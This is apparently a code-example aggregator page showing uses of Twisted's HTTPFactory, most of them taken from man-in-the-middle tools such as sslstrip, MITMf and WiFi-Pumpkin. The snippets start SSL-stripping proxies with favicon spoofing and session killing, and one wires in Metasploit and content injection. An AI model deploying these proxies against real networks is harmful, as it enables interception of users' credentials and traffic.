Here are the examples of the python api twisted.web.http.HTTPFactory taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.
11 Examples
3
Example 1
def start_proxy(port):
"""Start the internal HTTP proxy server.
The proxy, which runs locally, serves as a middleware,
i.e. the client handler forwards clients' requests to the proxy,
and the proxy is reponsible for communicating with the target server.
It is suggested that an external HTTP proxy is specified
in place of the internal one,
for performance and stability considerations.
See command line arguments for detailed information.
"""
factory = HTTPFactory()
factory.protocol = ConnectProxy
reactor.listenTCP(port, factory, interface="127.0.0.1")
3
Example 2
Project: pwn_plug_sources Source File: sslstrip.py
def main(argv):
(logFile, logLevel, listenPort, spoofFavicon, killSessions) = parseOptions(argv)
logging.basicConfig(level=logLevel, format='%(asctime)s %(message)s',
filename=logFile, filemode='w')
URLMonitor.getInstance().setFaviconSpoofing(spoofFavicon)
CookieCleaner.getInstance().setEnabled(killSessions)
strippingFactory = http.HTTPFactory(timeout=10)
strippingFactory.protocol = StrippingProxy
reactor.listenTCP(int(listenPort), strippingFactory)
print "\nsslstrip " + gVersion + " by Moxie Marlinspike running..."
reactor.run()
3
Example 3
Project: Snoopy Source File: sslstrip.py
def main(argv):
(logFile, logLevel, listenPort, spoofFavicon, killSessions) = parseOptions(argv)
logging.basicConfig(level=logLevel, format='%(asctime)s %(message)s',
filename=logFile, filemode='a')
URLMonitor.getInstance().setFaviconSpoofing(spoofFavicon)
CookieCleaner.getInstance().setEnabled(killSessions)
strippingFactory = http.HTTPFactory(timeout=10)
strippingFactory.protocol = StrippingProxy
reactor.listenTCP(int(listenPort), strippingFactory)
print "\nsslstrip " + gVersion + " by Moxie Marlinspike running..."
reactor.run()
3
Example 4
Project: sslstrip2 Source File: sslstrip.py
def main(argv):
(logFile, logLevel, listenPort, spoofFavicon, killSessions) = parseOptions(argv)
logging.basicConfig(level=logLevel, format='%(asctime)s %(message)s',
filename=logFile, filemode='w')
URLMonitor.getInstance().setFaviconSpoofing(spoofFavicon)
CookieCleaner.getInstance().setEnabled(killSessions)
strippingFactory = http.HTTPFactory(timeout=10)
strippingFactory.protocol = StrippingProxy
reactor.listenTCP(int(listenPort), strippingFactory)
print "\nsslstrip " + gVersion + " by Moxie Marlinspike running..."
print "+ POC by Leonardo Nve"
reactor.run()
3
Example 5
Project: clipcaptcha Source File: clipcaptcha.py
def main(argv):
(logFile, logLevel, listenPort, killSessions, secretString, operationMode, providersToClip) = parseOptions(argv)
logging.basicConfig(level=logLevel, format='%(asctime)s %(message)s', filename=logFile, filemode='w')
ClientRequest.setProvidersToClip(providersToClip)
ClientRequest.setOperationModeAndSecret(operationMode, secretString)
strippingFactory = http.HTTPFactory(timeout=10)
strippingFactory.protocol = StrippingProxy
reactor.listenTCP(int(listenPort), strippingFactory)
reactor.run()
3
Example 6
Project: WiFi-Pumpkin Source File: threads.py
def run(self):
print 'SSLstrip v0.9 + POC by Leonardo Nve'
killSessions = True
spoofFavicon = False
listenPort = self.port
from plugins.sslstrip.StrippingProxy import StrippingProxy
from plugins.sslstrip.URLMonitor import URLMonitor
from plugins.sslstrip.CookieCleaner import CookieCleaner
if self.loaderPlugins['plugins'] != None:
self.plugins[self.loaderPlugins['plugins']].getInstance()._activated = True
self.plugins[self.loaderPlugins['plugins']].getInstance().setInjectionCode(
self.loaderPlugins['Content'],self.session)
URLMonitor.getInstance().setFaviconSpoofing(spoofFavicon)
CookieCleaner.getInstance().setEnabled(killSessions)
strippingFactory = http.HTTPFactory(timeout=10)
strippingFactory.protocol = StrippingProxy
self.connector = reactor.listenTCP(int(listenPort), strippingFactory)
0
Example 7
def main(argv):
print argv
print type(argv)
(logFile, logLevel, listenPort, spoofFavicon, killSessions) = parseOptions(argv)
logging.basicConfig(level=logLevel, format='%(asctime)s %(message)s',
filename=logFile, filemode='a')
URLMonitor.getInstance().setFaviconSpoofing(spoofFavicon)
CookieCleaner.getInstance().setEnabled(killSessions)
strippingFactory = http.HTTPFactory(timeout=10)
strippingFactory.protocol = StrippingProxy
reactor.listenTCP(int(listenPort), strippingFactory)
print "\nsslstrip " + gVersion + " by Moxie Marlinspike running..."
reactor.run()
0
Example 8
def reactor(self, StrippingProxy):
from core.ferretng.FerretProxy import FerretProxy
FerretFactory = http.HTTPFactory(timeout=10)
FerretFactory.protocol = FerretProxy
reactor.listenTCP(self.ferret_port, FerretFactory)
0
Example 9
Project: MITMf Source File: basic_tests.py
def test_SSLStrip_Proxy(self):
favicon = True
preserve_cache = True
killsessions = True
listen_port = 10000
from twisted.web import http
from twisted.internet import reactor
from core.sslstrip.CookieCleaner import CookieCleaner
from core.proxyplugins import ProxyPlugins
from core.sslstrip.StrippingProxy import StrippingProxy
from core.sslstrip.URLMonitor import URLMonitor
URLMonitor.getInstance().setFaviconSpoofing(favicon)
URLMonitor.getInstance().setCaching(preserve_cache)
CookieCleaner.getInstance().setEnabled(killsessions)
strippingFactory = http.HTTPFactory(timeout=10)
strippingFactory.protocol = StrippingProxy
reactor.listenTCP(listen_port, strippingFactory)
#ProxyPlugins().all_plugins = plugins
t = threading.Thread(name='sslstrip_test', target=reactor.run)
t.setDaemon(True)
t.start()
0
Example 10
def setUp(self):
self.site = http.HTTPFactory()
self.site.logFile = StringIO()
self.request = DummyRequestForLogTest(self.site, False)
0
Example 11
Project: WiFi-Pumpkin Source File: threads.py
def run(self):
killSessions = True
spoofFavicon = False
listenPort = self.port
sslstrip_version = "0.9"
sergio_version = "0.2.1"
if self.loaderPlugins['plugins'] != None:
self.PumpPlugins[self.loaderPlugins['plugins']].getInstance()._activated = True
self.PumpPlugins[self.loaderPlugins['plugins']].getInstance().setInjectionCode(
self.loaderPlugins['Content'],self.session)
# load plugins will be implemented coming soon
parser = argparse.ArgumentParser(
description="Sergio Proxy v%s - An HTTP MITM Tool" % sergio_version,
epilog="Use wisely, young Padawan.",
fromfile_prefix_chars='@' )
#add sslstrip options
sgroup = parser.add_argument_group("sslstrip",
"Options for sslstrip library")
sgroup.add_argument("-w","--write",type=argparse.FileType('w'),
metavar="filename", default=stdout,
help="Specify file to log to (stdout by default).")
sgroup.add_argument("--log-level",type=str,
choices=['debug','info','warning','error'],default="info",
help="Specify file to log to (stdout by default).")
slogopts = sgroup.add_mutually_exclusive_group()
slogopts.add_argument("-p","--post",action="store_true",
help="Log only SSL POSTs. (default)")
slogopts.add_argument("-s","--ssl",action="store_true",
help="Log all SSL traffic to and from server.")
slogopts.add_argument("-a","--all",action="store_true",
help="Log all SSL and HTTP traffic to and from server.")
sgroup.add_argument("-l","--listen",type=int,metavar="port",default=10000,
help="Port to listen on (default 10000)")
sgroup.add_argument("-f","--favicon",action="store_true",
help="Substitute a lock favicon on secure requests.")
sgroup.add_argument("-k","--killsessions",action="store_true",
help="Kill sessions in progress.")
#add msf options
sgroup = parser.add_argument_group("MSF",
"Generic Options for MSF integration")
sgroup.add_argument("--msf-path",type=str,default="/pentest/exploits/framework/",
help="Path to msf (default: /pentest/exploits/framework)")
sgroup.add_argument("--msf-rc",type=str,default="/tmp/tmp.rc",
help="Specify a custom rc file (overrides all other settings)")
sgroup.add_argument("--msf-user",type=str,default="root",
help="Specify what user to run Metasploit under.")
sgroup.add_argument("--msf-lhost",type=str,default="192.168.1.1",
help="The IP address Metasploit is listening at.")
plugin_classes = plugin.Plugin.__subclasses__()
#Initialize plugins
plugins = []
try:
for p in plugin_classes:
plugins.append(p())
except:
print "Failed to load plugin class %s" % str(p)
#Give subgroup to each plugin with options
try:
for p in plugins:
if p.desc == "":
sgroup = parser.add_argument_group("%s" % p.name,
"Options for %s." % p.name)
else:
sgroup = parser.add_argument_group("%s" % p.name,
p.desc)
sgroup.add_argument("--%s" % p.optname, action="store_true",
help="Load plugin %s" % p.name)
if p.has_opts:
p.add_options(sgroup)
except NotImplementedError:
print "Plugin %s claimed option support, but didn't have it." % p.name
args = parser.parse_args()
if args.msf_rc == "/tmp/tmp.rc":
#need to wipe
open(args.msf_rc,"w").close()
args.full_path = path.dirname(path.abspath(__file__))
#All our options should be loaded now, pass them onto plugins
load = []
try:
for p in plugins:
if getattr(args,p.optname):
p.initialize(args)
load.append(p)
except NotImplementedError:
print "Plugin %s lacked initialize function." % p.name
#this whole msf loading process sucks. need to improve
if args.msf_rc != "/tmp/tmp.rc" or stat("/tmp/tmp.rc").st_size != 0:
from plugins.sergio_proxy.plugins.StartMSF import launch_msf
launch_msf(args.msf_path,args.msf_rc,args.msf_user)
from plugins.sergio_proxy.sslstrip.StrippingProxy import StrippingProxy
from plugins.sergio_proxy.sslstrip.URLMonitor import URLMonitor
from plugins.sergio_proxy.sslstrip.CookieCleaner import CookieCleaner
URLMonitor.getInstance().setFaviconSpoofing(spoofFavicon)
CookieCleaner.getInstance().setEnabled(killSessions)
strippingFactory = http.HTTPFactory(timeout=10)
strippingFactory.protocol = StrippingProxy
print 'sslstrip {} + sergio-proxy v{} online'.format(sslstrip_version,sergio_version)
self.connectorSP = reactor.listenTCP(int(listenPort), strippingFactory)